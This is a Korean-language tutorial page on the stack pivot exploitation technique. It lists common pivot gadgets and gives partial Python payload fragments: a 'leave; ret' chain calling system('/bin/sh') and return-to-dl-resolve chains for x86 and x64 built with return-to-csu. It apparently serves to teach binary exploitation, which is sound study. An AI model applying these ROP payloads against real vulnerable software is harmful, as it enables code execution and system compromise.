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Stack pivot

  • Stack pivot는 간단한 가젯을 이용하여 Stack의 흐름을 변경하거나, EAX,RAX 의 값을 변경(+"Call eax" Gadget)하여 코드의 흐름을 변경하는 기술입니다.
  • 다음은 일반적인 Stack pivot Gadget 입니다.
    • 이외에도 다양한 Stack pivot Gadget이 있을 수 있습니다.
Stack pivot Gadget
Gadget

add esp, offset; 
ret

mov esp, register;
ret

sub esp, offset 
ret

leave ;
ret

call register

mov register,[ebp+0c];
call register

push register;
pop esp;
ret

mov reg, dword ptr fs:[0];
…;
ret

xchg register, esp; 
ret


Example

"leave; ret" Gadget

  • 아래 Exploit  기법에서는 "leave; ret" Gadget을 이용하여 Stack의 흐름을 변경합니다.
exploit = p32(0x90909090)
exploit += p32(sysAddr)
exploit += p32(exit)
exploit += p32(binsh)
exploit += '\x90' * (62 - len(exploit))
exploit += p32(stackAddr)
exploit += p32(leave)

"POP ebp" or "return-to-csu" Gadget + "leave; ret" Gadget

Return-to-dl-resolve - x86
...
#read(0,base_stage,100)
#jmp base_stage
buf1 = 'A'* 62
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)
...
Return-to-dl-resolve - x64(feat.Return-to-csu)
...
#write(1,addr_got+8,8)
buf1 = 'A' * 72
buf1 += p64(addr_csu_init1)
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_write)
buf1 += p64(8)
buf1 += p64(addr_got+8)
buf1 += p64(1)
buf1 += p64(addr_csu_init2)
#read(0,base_stage,400)
buf1 += 'AAAAAAAA'
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_read)
buf1 += p64(400)
buf1 += p64(base_stage)
buf1 += p64(0)
buf1 += p64(addr_csu_init2)
#JMP base_stage + 8
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(base_stage)     # rbp
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(addr_leave_ret)
...

References

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